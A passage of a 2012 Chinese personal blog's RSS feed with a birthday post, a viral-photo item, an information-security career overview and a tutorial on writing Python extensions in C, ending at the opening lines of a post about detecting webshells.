		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[胡思乱想]]></category>
		<category><![CDATA[生日快乐]]></category>
		<category><![CDATA[郑智化]]></category>

		<guid isPermaLink="false">http://www.am82.com/?p=6159</guid>
		<description><![CDATA[过了十二点，哥就彻底的开始在奔三的大道上一路小跑了～～～]]></description>
			<content:encoded><![CDATA[<p>过了十二点，哥就彻底的开始在奔三的大道上一路小跑了～～～<br />
坚强的小侯童鞋，生日快乐。</p>
<p><a href="http://tu.6.cn/pic/play-tu/id/0#14071407"><img src="http://i.6.cn/cvbnm/6e/17/0b/9ffacdfee62ea1624656ead3634e205f.jpg" alt="Fuck+_9ffacdfee62ea1624656ead3634e205f" /></a></p>
<p><embed src="http://player.youku.com/player.php/sid/XMjk4NzI0MTg0/v.swf" allowFullScreen="true" quality="high" width="480" height="400" align="middle" allowScriptAccess="always" type="application/x-shockwave-flash"></embed></p>
<p>你的生日让我想起，<br />
一个很久以前的朋友，<br />
那是一个寒冷的冬天，<br />
他流浪在街头，<br />
我以为他要乞求什么，<br />
他却总是摇摇头，<br />
他说今天是他的生日，<br />
却没人祝他生日快乐，<br />
生日快乐<br />
祝你生日快乐<br />
握着我的手，<br />
跟我一起唱这首生日快乐歌乐，<br />
<strong>有生的日子天天快乐，<br />
别在意生日怎么过，</strong><br />
这个朋友早已不知下落，<br />
眼前的我有一点失落,<br />
这世界有些人一无所有，<br />
有些人却得到太多，<br />
所以我最亲爱的朋友，<br />
请你珍惜你的拥有,<br />
虽然是一首生日才唱的歌,<br />
愿永远陪在你左右</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/6159/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>其实幸福很简单</title>
		<link>http://www.am82.com/6157/</link>
		<comments>http://www.am82.com/6157/#comments</comments>
		<pubDate>Thu, 09 Feb 2012 08:28:55 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[胡思乱想]]></category>

		<guid isPermaLink="false">http://www.am82.com/?p=6157</guid>
		<description><![CDATA[2月6日，郑州CBD，一名流浪汉从地上捡了半瓶冰红茶，喝了一口，凝视着对面的天空，一朵烟花绽放，他微笑了。近日，这张关于流浪汉的图片在微博风传，“微笑哥”走红网络。
<img src="http://i.6.cn/cvbnm/fa/0f/65/476f5e19068af0342fa50e21f4e0d9f1.jpg" alt="64b1a24cjw1dpsya22cgzj" />]]></description>
			<content:encoded><![CDATA[<p>2月6日，郑州CBD，一名流浪汉从地上捡了半瓶冰红茶，喝了一口，凝视着对面的天空，一朵烟花绽放，他微笑了。近日，这张关于流浪汉的图片在微博风传，“微笑哥”走红网络。</p>
<p><a href="http://tu.6.cn/pic/play-tu/id/0#14051152"><img src="http://i.6.cn/cvbnm/fa/0f/65/476f5e19068af0342fa50e21f4e0d9f1.jpg" alt="64b1a24cjw1dpsya22cgzj" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/6157/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>信息安全从业参考</title>
		<link>http://www.am82.com/6154/</link>
		<comments>http://www.am82.com/6154/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 02:37:09 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[挨踢消息]]></category>
		<category><![CDATA[信息安全]]></category>

		<guid isPermaLink="false">http://www.am82.com/?p=6154</guid>
		<description><![CDATA[[漏洞挖掘/安全技术研究员]
研究对象：OS，网络，应用，通讯媒介及协议的安全漏洞和防御方法，偏重于底层技术，对技术要求最高，但不要求很全面，只需精通一两种流行的平台即可。其 研究成果经常为IDS/IPS/Vulnerability Scanner插件作分析等，最新的技术可能被转化到产品中实现商业价值，或可能承担技术最高的一部分专业安全服务。

主要技能：C\C++,ASM,OS kernel，调试器，反汇编、缓冲区溢出类，逻辑编程错误等

[安全产品........]]></description>
			<content:encoded><![CDATA[<p>Author：<br />
赵彦，中联绿盟信息技术（北京）有限公司<br />
Homepage：www.ph4nt0m.org<br />
Mailto: ay4z3ro@hotmail.com<br />
本版初稿只代表个人观点，仅供参考，对于迷信产生的后果，本人不承担任何责任<br />
本文实际上并不能算是Career Planning，只是一些分类描述，唯一好处仅在于帮助你理解不同职位的技能要求，因为最近很忙，本文也远远达不到Body of Knowledge的详细程度，计划在空闲时再补一篇真正的Career Roadmap</p>
<p>[漏洞挖掘/安全技术研究员]<br />
研究对象：OS，网络，应用，通讯媒介及协议的安全漏洞和防御方法，偏重于底层技术，对技术要求最高，但不要求很全面，只需精通一两种流行的平台即可。其 研究成果经常为IDS/IPS/Vulnerability Scanner插件作分析等，最新的技术可能被转化到产品中实现商业价值，或可能承担技术最高的一部分专业安全服务。</p>
<p>主要技能：C\C++,ASM,OS kernel，调试器，反汇编、缓冲区溢出类，逻辑编程错误等</p>
<p>[安全产品开发]<br />
和其他程序员一样，只不过是面向安全产品，有核心引擎也有界面开发，如何成为一个优秀的程序员就不用我废话了吧，网上的Proposal多的是</p>
<p>[产品工程师]<br />
作为厂商的技术人员，一般是对自有产品做售后技术支持，如FW，VPN，IDS/IPS，Scanner，AV，AAAA，CF，UTM，SOC， Terminal Management，Vulnerability/Patch Management，Anti-DOS，Anti-Spam……该职位对技术要求一般，有一定的系统、网络基础，可以熟练部署产品即可，另外还有 Testing和Troubleshooting的能力也是比较重要的</p>
<p>[技术顾问/售前工程师]<br />
作为厂商的售前，须对自有的产品和解决方案非常熟悉，售前偏重于架构/方案设计，Presentation,Documentation以及其他 Presale Engineering的能力（如投标、销售推介技能），一般需要多年工作经验，有售后或者研发背景，对特定行业的理解-如曾在电信、金融或者SI的工作 经验能增强竞争力，如能对专业安全技术服务及咨询服务有所掌握，会使你的知识背景更强势，项目管理技能也是必要的。</p>
<p>[安全服务工程师]<br />
个人觉得在安全工程领域，产品选型和部署相对简单，门槛较高的是专业安全服务，先不论当前行业内的安全服务技术人员实际水平如何，我只是就我的理解谈一下 以下职位的技能需求。如渗透测试、安全加固、安全外包/安全监控，应急响应，高级安全技术培训，风险评估等要求技术人员对主流的操作系统平台，网络设备， 数据库，企业应用有一定程度的掌握，并且需要融入对安全和攻防技术的理解，另外安全服务人员最好需要有信息安全管理和项目管理的知识。沟通表达以及文档撰 写能力都是必须的。</p>
<p>[安全架构师]<br />
之前的售前工程师和安全服务工程师也要写整体解决方案，但从专业程度来说，他们还达不到安全架构师的技术高度，安全架构师须熟悉IT基础设施、容灾备份， 大型企业级应用，安全集成，网络设计规划，网络安全产品典型部署，熟悉各种通信标准及协议，需要了解安全趋势和客户的整体安全需求，既有深度又有广度，需 要较多的经验和技术。</p>
<p>[信息安全咨询顾问]<br />
信息安全既有技术也有管理的问题，如传统的Strategy、HR、IT consulting一样，Information Security Consulting也是专业服务中的主要业务，如：Risk Assessment、ISMS building、SOX Compliance……<br />
信息安全不可能脱离企业自身的业务和实际需求，否则便成了空中楼阁，信息安全管理应该是以企业管理为上层引导，信息安全管理为中间支柱，下层以计算机及通信技术为基础依托的三层结构，当然出售的最终产物是三层融合的整体解决方案，咨询顾问一般需要以下技能：<br />
熟悉各类安全标准&#8211;BS7799,ISO13335,CC,SSE-CMM,IATF,SP800……<br />
相关的知识领域—IT Governance,ITIL/ITSM,MOF,COBIT,SOA,COSO……<br />
咨询体系&#8211;企业经营管理，流程管理，人力资源管理，信息战略，法律法规<br />
基本技能&#8211;沟通表达、文档、项目管理<br />
技术体系&#8211;All above（不要因为我说了这句话趋之若鹜哦）</p>
<p>[CHO]<br />
这里并不是指人力资源总监，而是传说中的Chief Hacker Officer&#8211;首席黑客官，在国外某些公司设有此类职位，是更加纯技术的职位，从名字就可以看出他的技术偏向哪里，实际上应该是安全教科书中的 Whitehat，从Know your enemy的角度讲，反黑的的能力也确实强</p>
<p>[CSO/CISO]<br />
一般只有较大的组织机构才单独设有首席安全官或首席信息安全官，在没有独立设置CSO职位的情况下，信息安全通常属于CIO/CTO/COO考虑的范畴， 实际上也由他们扮演CSO的角色，因此换个角度—信息安全管理咨询应该是in CXO’s perspective，实际上高级咨询顾问到甲方即可成为CSO</p>
<p>通用且有一定竞争力的认证：<br />
CISSP,CISM,CISA,BS7799LA</p>
<p>可供职的厂商：<br />
国内专业安全公司：绿盟科技、启明星辰、天融信、联想网御、安氏<br />
国外安全公司：ISS、Mcafee、Symantec、Checkpoint、TrendMirco<br />
各大IT公司：Microsoft、HP、IBM、Cisco、Juniper、F5、Various vendors<br />
会计事务所：PWC、E&amp;Y、KPMG、DTT……<br />
咨询公司：Accenture<br />
甲方：如电信移动、金融、各大门户、电子商务以及IT系统对内部运营起到关键作用的企业</p>
<p>薪酬：<br />
职位当然是影响Salary的重要因素，除此之外，审计师/咨询顾问、安全架构师和研究员的工资较高，外企的工资一般比国内企业高，在甲方的工资不一定有 乙方高，主要看所在行业、企业盈利程度和对信息安全的重视程度，但乙方高薪职位通常来说比甲方更忙碌，其实质也是用时间换工资，从行为经济学看未必很实 惠。</p>
<p>职业发展路线<br />
研究员-高级安全研究员<br />
开发程序员-项目经理<br />
产品工程师-安全服务工程师-售前技术顾问<br />
产品工程师-安全服务工程师-安全服务项目经理<br />
产品工程师、安全服务工程师、技术顾问有两个发展方向：<br />
1. 偏技术方向—安全架构师<br />
2. 偏管理方向—咨询顾问<br />
甲方和乙方的角色切换，如果对当前的视角失去了兴趣，不妨换个角度，如果结婚了寻求安定不想出差可以去甲方<br />
当然以上只是理论公式，现实生活中的“天花板”在哪里有机会可以自己去体验一下</p>
<p>知识体系结构<br />
大体分为技术体系和管理体系吧<br />
技术体系：<br />
对攻防技术的理解<br />
OS、Network、Application、Data protection and related<br />
TCP/IP protocol suits<br />
研究偏重底层技术，架构偏重网络</p>
<p>安全管理体系：<br />
各种信息安全技术/管理标准，审计及内部控制标准<br />
传统管理学大集合<br />
咨询及审计</p>
<p>其他：<br />
对客户业务的理解<br />
表达沟通，文档，演讲，项目管理和销售技能</p>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/6154/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用C语言扩展Python的功能</title>
		<link>http://www.am82.com/6151/</link>
		<comments>http://www.am82.com/6151/#comments</comments>
		<pubDate>Mon, 06 Feb 2012 06:08:03 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[perl&python]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.am82.com/?p=6151</guid>
		<description><![CDATA[、简介

Python是一门功能强大的高级脚本语言，它的强大不仅表现在其自身的功能上，而且还表现在其良好的可扩展性上，正因如此，Python已经开始受到越来越多人的青睐，并且被屡屡成功地应用于各类大型软件系统的开发过程中。

与其它普通脚本语言有所不同，Python程序员可以借助Python语言提供的API，使用C或者C++来对Python进行功能性扩展，从而即可以利用Python方便灵活的语法和功能，又可以获得与C或者C++几乎相同的执行性能。执行速度慢是几乎所有脚本语言都具有的共性，也是倍受人们指责的一个重要因素，Python则通过.......]]></description>
			<content:encoded><![CDATA[<p><span id="aeaoofnhgocdbnbeljkmbjdmhbcokfdb-mousedown" style="color: #ca0000;">一、简介</span></p>
<p>Python是一门功能强大的高级脚本语言，它的强大不仅表现在其自身的功能上，而且还表现在其良好的可扩展性上，正因如此，Python已经开始受到越来越多人的青睐，并且被屡屡成功地应用于各类大型软件系统的开发过程中。</p>
<p>与其它普通脚本语言有所不同，Python程序员可以借助Python语言提供的API，使用C或者C++来对Python进行功能性扩展，从而即可以利用Python方便灵活的语法和功能，又可以获得与C或者C++几乎相同的执行性能。执行速度慢是几乎所有脚本语言都具有的共性，也是倍受人们指责的一个重要因素，Python则通过与C语言的有机结合巧妙地解决了这一问题，从而使脚本语言的应用范围得到了很大扩展。</p>
<table width="97%" border="0" align="center">
<tbody>
<tr>
<td colspan="3"></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>在用Python开发实际软件系统时，很多时候都需要使用C/C++来对Python进行扩展。最常见的情况是目前已经存在一个用C编写的库，需要在Python语言中使用该库的某些功能，此时就可以借助Python提供的扩展功能来实现。此外，由于Python从本质上讲还是一种脚本语言，某些功能用Python实现可能很难满足实际软件系统对执行效率的要求，此时也可以借助Python提供的扩展功能，将这些关键代码段用C或者C++实现，从而提供程序的执行性能。</p>
<p>本文主要介绍Python提供的C语言扩展接口，以及如何使用这些接口和C/C++语言来对Python进行功能性扩展，并辅以具体的实例讲述如何实现Python的功能扩展。</p>
<div><span style="color: #ca0000;">二、Python的C语言接口</span></div>
<p>Python是用C语言实现的一种脚本语言，本身具有优良的开放性和可扩展性，并提供了方便灵活的应用程序接口(API)，从而使得C/C++程序员能够在各个级别上对Python解释器的功能进行扩展。在使用C/C++对Python进行功能扩展之前，必须首先掌握Python解释所提供的C语言接口。</p>
<p><span style="color: #ca0000;">2.1 Python对象(PyObject)</span></p>
<p>Python是一门面向对象的脚本语言，所有的对象在Python解释器中都被表示成PyObject，PyObject结构包含Python对象的所有成员指针，并且对Python对象的类型信息和引用计数进行维护。在进行Python的扩展编程时，一旦要在C或者C++中对Python对象进行处理，就意味着要维护一个PyObject结构。</p>
<p>在Python的C语言扩展接口中，大部分函数都有一个或者多个参数为PyObject指针类型，并且返回值也大都为PyObject指针。</p>
<p><span style="color: #ca0000;">2.2 引用计数</span></p>
<p>为了简化内存管理，Python通过引用计数机制实现了自动的垃圾回收功能，Python中的每个对象都有一个引用计数，用来计数该对象在不同场所分别被引用了多少次。每当引用一次Python对象，相应的引用计数就增1，每当消毁一次Python对象，则相应的引用就减1，只有当引用计数为零时，才真正从内存中删除Python对象。</p>
<p>下面的例子说明了Python解释器如何利用引用计数来对Pyhon对象进行管理：</p>
<div>
<div>
<div><strong>[python]</strong></div>
</div>
<ol>
<li>例1:refcount.py</li>
<li><strong><span style="color: #0000ff;">class</span></strong> refcount:</li>
<li>    <span style="color: #008200;"># etc. </span></li>
<li>r1 = refcount() <span style="color: #008200;"># 引用计数为1 </span></li>
<li>r2 = r1         <span style="color: #008200;"># 引用计数为2 </span></li>
<li><strong><span style="color: #0000ff;">del</span></strong>(r1)         <span style="color: #008200;"># 引用计数为1 </span></li>
<li><strong><span style="color: #0000ff;">del</span></strong>(r2)         <span style="color: #008200;"># 引用计数为0，删除对象 </span></li>
<li></li>
<li></li>
</ol>
</div>
<p>在C/C++中处理Python对象时，对引用计数进行正确的维护是一个关键问题，处理不好将很容易产生内存泄漏。Python的C语言接口提供了一些宏来对引用计数进行维护，最常见的是用Py_INCREF()来增加使Python对象的引用计数增1，用Py_DECREF()来使Python对象的引用计数减1。</p>
<p><span style="color: #ca0000;">2.3 数据类型</span></p>
<p>Python定义了六种数据类型：整型、浮点型、字符串、元组、列表和字典，在使用C语言对Python进行功能扩展时，首先要了解如何在C和Python的数据类型间进行转化。</p>
<p><strong>2.3.1 整型、浮点型和字符串</strong></p>
<p>在Python的C语言扩展中要用到整型、浮点型和字符串这三种数据类型时相对比较简单，只需要知道如何生成和维护它们就可以了。下面的例子给出了如何在C语言中使用Python的这三种数据类型：</p>
<div>
<div>
<div><strong>[cpp]</strong></div>
</div>
<ol>
<li>例2：typeifs.c</li>
<li><span style="color: #008200;">// build an integer </span></li>
<li>PyObject* pInt = Py_BuildValue(<span style="color: #ff0000;">“i”</span>, 2003);</li>
<li>assert(PyInt_Check(pInt));</li>
<li><strong><span style="color: #2e8b57;">int</span></strong> i = PyInt_AsLong(pInt);</li>
<li>Py_DECREF(pInt);</li>
<li><span style="color: #008200;">// build a float </span></li>
<li>PyObject* pFloat = Py_BuildValue(<span style="color: #ff0000;">“f”</span>, 3.14f);</li>
<li>assert(PyFloat_Check(pFloat));</li>
<li><strong><span style="color: #2e8b57;">float</span></strong> f = PyFloat_AsDouble(pFloat);</li>
<li>Py_DECREF(pFloat);</li>
<li><span style="color: #008200;">// build a string </span></li>
<li>PyObject* pString = Py_BuildValue(<span style="color: #ff0000;">“s”</span>, <span style="color: #ff0000;">“Python”</span>);</li>
<li>assert(PyString_Check(pString);</li>
<li><strong><span style="color: #2e8b57;">int</span></strong> nLen = PyString_Size(pString);</li>
<li><strong><span style="color: #2e8b57;">char</span></strong>* s = PyString_AsString(pString);</li>
<li>Py_DECREF(pString);</li>
<li></li>
<li></li>
</ol>
</div>
<p><strong>2.3.2 元组</strong></p>
<p>Python语言中的元组是一个长度固定的数组，当Python解释器调用C语言扩展中的方法时，所有非关键字(non-keyword)参数都以元组方式进行传递。下面的例子示范了如何在C语言中使用Python的元组类型：</p>
<div>
<div>
<div><strong>[cpp]</strong></div>
</div>
<ol>
<li>例3：typetuple.c</li>
<li><span style="color: #008200;">// create the tuple </span></li>
<li>PyObject* pTuple = PyTuple_New(3);</li>
<li>assert(PyTuple_Check(pTuple));</li>
<li>assert(PyTuple_Size(pTuple) == 3);</li>
<li><span style="color: #008200;">// set the item </span></li>
<li>PyTuple_SetItem(pTuple, 0, Py_BuildValue(<span style="color: #ff0000;">“i”</span>, 2003));</li>
<li>PyTuple_SetItem(pTuple, 1, Py_BuildValue(<span style="color: #ff0000;">“f”</span>, 3.14f));</li>
<li>PyTuple_SetItem(pTuple, 2, Py_BuildValue(<span style="color: #ff0000;">“s”</span>, <span style="color: #ff0000;">“Python”</span>));</li>
<li><span style="color: #008200;">// parse tuple items </span></li>
<li><strong><span style="color: #2e8b57;">int</span></strong> i;</li>
<li><strong><span style="color: #2e8b57;">float</span></strong> f;</li>
<li><strong><span style="color: #2e8b57;">char</span></strong> *s;</li>
<li><strong><span style="color: #0000ff;">if</span></strong> (!PyArg_ParseTuple(pTuple, <span style="color: #ff0000;">“ifs”</span>, &amp;i, &amp;f, &amp;s))</li>
<li>    PyErr_SetString(PyExc_TypeError, <span style="color: #ff0000;">“invalid parameter”</span>);</li>
<li><span style="color: #008200;">// cleanup </span></li>
<li>Py_DECREF(pTuple);</li>
<li></li>
<li></li>
</ol>
</div>
<p><strong>2.3.3 列表</strong></p>
<p>Python语言中的列表是一个长度可变的数组，列表比元组更为灵活，使用列表可以对其存储的Python对象进行随机访问。下面的例子示范了如何在C语言中使用Python的列表类型：</p>
<div>
<div>
<div><strong>[cpp]</strong></div>
</div>
<ol>
<li>例4：typelist.c</li>
<li><span style="color: #008200;">// create the list </span></li>
<li>PyObject* pList = PyList_New(3); <span style="color: #008200;">// new reference </span></li>
<li>assert(PyList_Check(pList));</li>
<li><span style="color: #008200;">// set some initial values </span></li>
<li><strong><span style="color: #0000ff;">for</span></strong>(<strong><span style="color: #2e8b57;">int</span></strong> i = 0; i &lt; 3; ++i)</li>
<li>    PyList_SetItem(pList, i, Py_BuildValue(<span style="color: #ff0000;">“i”</span>, i));</li>
<li><span style="color: #008200;">// insert an item </span></li>
<li>PyList_Insert(pList, 2, Py_BuildValue(<span style="color: #ff0000;">“s”</span>, <span style="color: #ff0000;">“inserted”</span>));</li>
<li><span style="color: #008200;">// append an item </span></li>
<li>PyList_Append(pList, Py_BuildValue(<span style="color: #ff0000;">“s”</span>, <span style="color: #ff0000;">“appended”</span>));</li>
<li><span style="color: #008200;">// sort the list </span></li>
<li>PyList_Sort(pList);</li>
<li><span style="color: #008200;">// reverse the list </span></li>
<li>PyList_Reverse(pList);</li>
<li><span style="color: #008200;">// fetch and manipulate a list slice </span></li>
<li>PyObject* pSlice = PyList_GetSlice(pList, 2, 4); <span style="color: #008200;">// new reference </span></li>
<li><strong><span style="color: #0000ff;">for</span></strong>(<strong><span style="color: #2e8b57;">int</span></strong> j = 0; j &lt; PyList_Size(pSlice); ++j) {</li>
<li>  PyObject *pValue = PyList_GetItem(pList, j);</li>
<li>  assert(pValue);</li>
<li>}</li>
<li>Py_DECREF(pSlice);</li>
<li><span style="color: #008200;">// cleanup </span></li>
<li>Py_DECREF(pList);</li>
<li></li>
<li></li>
</ol>
</div>
<p><strong>2.3.4 字典</strong></p>
<p>Python语言中的字典是一个根据关键字进行访问的数据类型。下面的例子示范了如何在C语言中使用Python的字典类型：</p>
<div>
<div>
<div>
<div><strong>[cpp]</strong></div>
</div>
<ol>
<li>例5：typedic.c</li>
<li><span style="color: #008200;">// create the dictionary </span></li>
<li>PyObject* pDict = PyDict_New(); <span style="color: #008200;">// new reference </span></li>
<li>assert(PyDict_Check(pDict));</li>
<li><span style="color: #008200;">// add a few named values </span></li>
<li>PyDict_SetItemString(pDict, <span style="color: #ff0000;">“first”</span>,</li>
<li>                     Py_BuildValue(<span style="color: #ff0000;">“i”</span>, 2003));</li>
<li>PyDict_SetItemString(pDict, <span style="color: #ff0000;">“second”</span>,</li>
<li>                     Py_BuildValue(<span style="color: #ff0000;">“f”</span>, 3.14f));</li>
<li><span style="color: #008200;">// enumerate all named values </span></li>
<li>PyObject* pKeys = PyDict_Keys(); <span style="color: #008200;">// new reference </span></li>
<li><strong><span style="color: #0000ff;">for</span></strong>(<strong><span style="color: #2e8b57;">int</span></strong> i = 0; i &lt; PyList_Size(pKeys); ++i) {</li>
<li>  PyObject *pKey = PyList_GetItem(pKeys, i);</li>
<li>  PyObject *pValue = PyDict_GetItem(pDict, pKey);</li>
<li>  assert(pValue);</li>
<li>}</li>
<li>Py_DECREF(pKeys);</li>
<li><span style="color: #008200;">// remove a named value </span></li>
<li>PyDict_DelItemString(pDict, <span style="color: #ff0000;">“second”</span>);</li>
<li><span style="color: #008200;">// cleanup </span></li>
<li>Py_DECREF(pDict);</li>
</ol>
<p><span id="aeaoofnhgocdbnbeljkmbjdmhbcokfdb-mousedown" style="color: #ca0000;">三、Python的C语言扩展</span></p>
<p><span style="color: #ca0000;">3.1 模块封装</span></p>
<p>在了解了Python的C语言接口后，就可以利用Python解释器提供的这些接口来编写Python的C语言扩展，假设有如下一个C语言函数：</p>
<table width="97%" border="0" align="center">
<tbody>
<tr>
<td colspan="3"></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<div>
<div>
<div><strong>[cpp]</strong></div>
</div>
<ol>
<li>例6：example.c</li>
<li><strong><span style="color: #2e8b57;">int</span></strong> fact(<strong><span style="color: #2e8b57;">int</span></strong> n)</li>
<li>{</li>
<li>  <strong><span style="color: #0000ff;">if</span></strong> (n &lt;= 1)</li>
<li>    <strong><span style="color: #0000ff;">return</span></strong> 1;</li>
<li>  <strong><span style="color: #0000ff;">else</span></strong></li>
<li>    <strong><span style="color: #0000ff;">return</span></strong> n * fact(n - 1);</li>
<li>}</li>
<li></li>
<li></li>
</ol>
</div>
<p>该函数的功能是计算某个给定自然数的阶乘，如果想在Python解释器中调用该函数，则应该首先将其实现为Python中的一个模块，这需要编写相应的封装接口，如下所示：</p>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td>
<div>
<div>
<div><strong>[cpp]</strong></div>
</div>
<ol>
<li>例7: wrap.c</li>
<li><span style="color: #808080;">#include &lt;Python.h&gt; </span></li>
<li>PyObject* wrap_fact(PyObject* self, PyObject* args)</li>
<li>{</li>
<li>  <strong><span style="color: #2e8b57;">int</span></strong> n, result;</li>
<li></li>
<li>  <strong><span style="color: #0000ff;">if</span></strong> (! PyArg_ParseTuple(args, <span style="color: #ff0000;">“i:fact”</span>, &amp;n))</li>
<li>    <strong><span style="color: #0000ff;">return</span></strong> NULL;</li>
<li>  result = fact(n);</li>
<li>  <strong><span style="color: #0000ff;">return</span></strong> Py_BuildValue(<span style="color: #ff0000;">“i”</span>, result);</li>
<li>}</li>
<li><strong><span style="color: #0000ff;">static</span></strong> PyMethodDef exampleMethods[] =</li>
<li>{</li>
<li>  {<span style="color: #ff0000;">“fact”</span>, wrap_fact, METH_VARARGS, <span style="color: #ff0000;">“Caculate N!”</span>},</li>
<li>  {NULL, NULL}</li>
<li>};</li>
<li><strong><span style="color: #0000ff;">void</span></strong> initexample()</li>
<li>{</li>
<li>  PyObject* m;</li>
<li>  m = Py_InitModule(<span style="color: #ff0000;">“example”</span>, exampleMethods);</li>
<li>}</li>
</ol>
</div>
</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>一个典型的Python扩展模块至少应该包含三个部分：导出函数、方法列表和初始化函数。</p>
<p><span style="color: #ca0000;">3.2 导出函数</span></p>
<p>要在Python解释器中使用C语言中的某个函数，首先要为其编写相应的导出函数，上述例子中的导出函数为wrap_fact。在Python的C语言扩展中，所有的导出函数都具有相同的函数原型：</p>
<pre>PyObject* method(PyObject* self, PyObject* args);</pre>
<p>该函数是Python解释器和C函数进行交互的接口，带有两个参数：self和args。参数self只在C函数被实现为内联方法(built-in method)时才被用到，通常该参数的值为空(NULL)。参数args中包含了Python解释器要传递给C函数的所有参数，通常使用Python的C语言扩展接口提供的函数PyArg_ParseTuple()来获得这些参数值。</p>
<p>所有的导出函数都返回一个PyObject指针，如果对应的C函数没有真正的返回值(即返回值类型为void)，则应返回一个全局的None对象(Py_None)，并将其引用计数增1，如下所示：</p>
<div>
<div>
<div><strong>[cpp]</strong></div>
</div>
<ol>
<li>PyObject* method(PyObject *self, PyObject *args)</li>
<li>{</li>
<li>  Py_INCREF(Py_None);</li>
<li>  <strong><span style="color: #0000ff;">return</span></strong> Py_None;</li>
<li>}</li>
<li></li>
<li></li>
</ol>
</div>
<p>3.3 方法列表</p>
<p>方法列表中给出了所有可以被Python解释器使用的方法，上述例子对应的方法列表为：</p>
<div>
<div>
<div><strong>[cpp]</strong></div>
</div>
<ol>
<li><strong><span style="color: #0000ff;">static</span></strong> PyMethodDef exampleMethods[] =</li>
<li>{</li>
<li>  {<span style="color: #ff0000;">“fact”</span>, wrap_fact, METH_VARARGS, <span style="color: #ff0000;">“Caculate N!”</span>},</li>
<li>  {NULL, NULL}</li>
<li>};</li>
<li></li>
<li></li>
</ol>
</div>
<p>方法列表中的每项由四个部分组成：方法名、导出函数、参数传递方式和方法描述。方法名是从Python解释器中调用该方法时所使用的名字。参数传递方式则规定了Python向C函数传递参数的具体形式，可选的两种方式是METH_VARARGS和METH_KEYWORDS，其中METH_VARARGS是参数传递的标准形式，它通过Python的元组在Python解释器和C函数之间传递参数，若采用METH_KEYWORD方式，则Python解释器和C函数之间将通过Python的字典类型在两者之间进行参数传递。</p>
<p><span style="color: #ca0000;">3.4 初始化函数</span></p>
<p>所有的Python扩展模块都必须要有一个初始化函数，以便Python解释器能够对模块进行正确的初始化。Python解释器规定所有的初始化函数的函数名都必须以init开头，并加上模块的名字。对于模块example来说，则相应的初始化函数为:</p>
<div>
<div>
<div><strong>[cpp]</strong></div>
</div>
<ol>
<li><strong><span style="color: #0000ff;">void</span></strong> initexample()</li>
<li>{</li>
<li>  PyObject* m;</li>
<li>  m = Py_InitModule(<span style="color: #ff0000;">“example”</span>, exampleMethods);</li>
<li>}</li>
<li></li>
<li></li>
</ol>
</div>
<p>当Python解释器需要导入该模块时，将根据该模块的名称查找相应的初始化函数，一旦找到则调用该函数进行相应的初始化工作，初始化函数则通过调用Python的C语言扩展接口所提供的函数Py_InitModule()，来向Python解释器注册该模块中所有可以用到的方法。</p>
<p><span style="color: #ca0000;">3.5 编译链接</span></p>
<p>要在Python解释器中使用C语言编写的扩展模块，必须将其编译成动态链接库的形式。下面以<a title="RedHat" href="http://www.linuxidc.com/topicnews.aspx?tid=10">RedHat</a>Linux 8.0为例，介绍如何将C编写的Python扩展模块编译成动态链接库：</p>
<div>
<div>
<div><strong>[cpp]</strong></div>
</div>
<ol>
<li>[www.linuxidc.com@linuxidc code]$ gcc -fpic -c -I/usr/include/python2.2 \</li>
<li>                    -I /usr/lib/python2.2/config \</li>
<li>                    example.c wrapper.c</li>
<li>[www.linuxidc.com@linuxidc code]$ gcc -shared -o example.so example.o wrapper.o</li>
<li></li>
<li></li>
</ol>
</div>
<p>3.6 引入Python解释器</p>
<p>当生成Python扩展模块的动态链接库后，就可以在Python解释器中使用该扩展模块了，与Python自带的模块一样，扩展模块也是通过import命令引入后再使用的，如下所示：</p>
<div>
<div>
<div>
<div><strong>[cpp]</strong></div>
</div>
<ol>
<li>[www.linuxidc.com@linuxidc code]$ python</li>
<li>Python 2.2.1 (#1, Aug 30 2002, 12:15:30)</li>
<li>[GCC 3.2 20020822 (Red Hat Linux Rawhide 3.2-4)] on linux2</li>
<li>Type <span style="color: #ff0000;">“help”</span>, <span style="color: #ff0000;">“copyright”</span>, <span style="color: #ff0000;">“credits”</span> or <span style="color: #ff0000;">“license”</span> <strong><span style="color: #0000ff;">for</span></strong> more information.</li>
<li>&gt;&gt;&gt; import example</li>
<li>&gt;&gt;&gt; example.fact(4)</li>
<li>24</li>
<li>&gt;&gt;&gt;</li>
<li></li>
<li></li>
</ol>
</div>
</div>
<p><span style="color: #ca0000;">四、结束语</span></p>
<p>作为一门功能强大的脚本语言，Python将被更加广泛地应用于各个领域。为了克服脚本语言执行速度慢的问题，Python提供了相应的C语言扩展接口，通过将影响执行性能的关键代码用C语言实现，可以很大程度上提高用Python编写的脚本在运行时的速度，从而满足实际需要。</p>
<p>&nbsp;</p>
<p>from：Linux社区  作者：lengzijian</p>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.am82.com/6151/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>webshell高级查杀</title>
		<link>http://www.am82.com/6149/</link>
		<comments>http://www.am82.com/6149/#comments</comments>
		<pubDate>Sat, 04 Feb 2012 08:32:37 +0000</pubDate>
		<dc:creator>假装纯情</dc:creator>
				<category><![CDATA[技术专题]]></category>
		<category><![CDATA[webshell]]></category>

		<guid isPermaLink="false">http://www.am82.com/?p=6149</guid>
		<description><![CDATA[原创作品：转载注明作者 及出处
有问题或者建议：QQ124839584或者blog:http://livers,sinaapp.com
很多人一直注重于攻，而轻视于防。

攻在于创新，防在于全面。
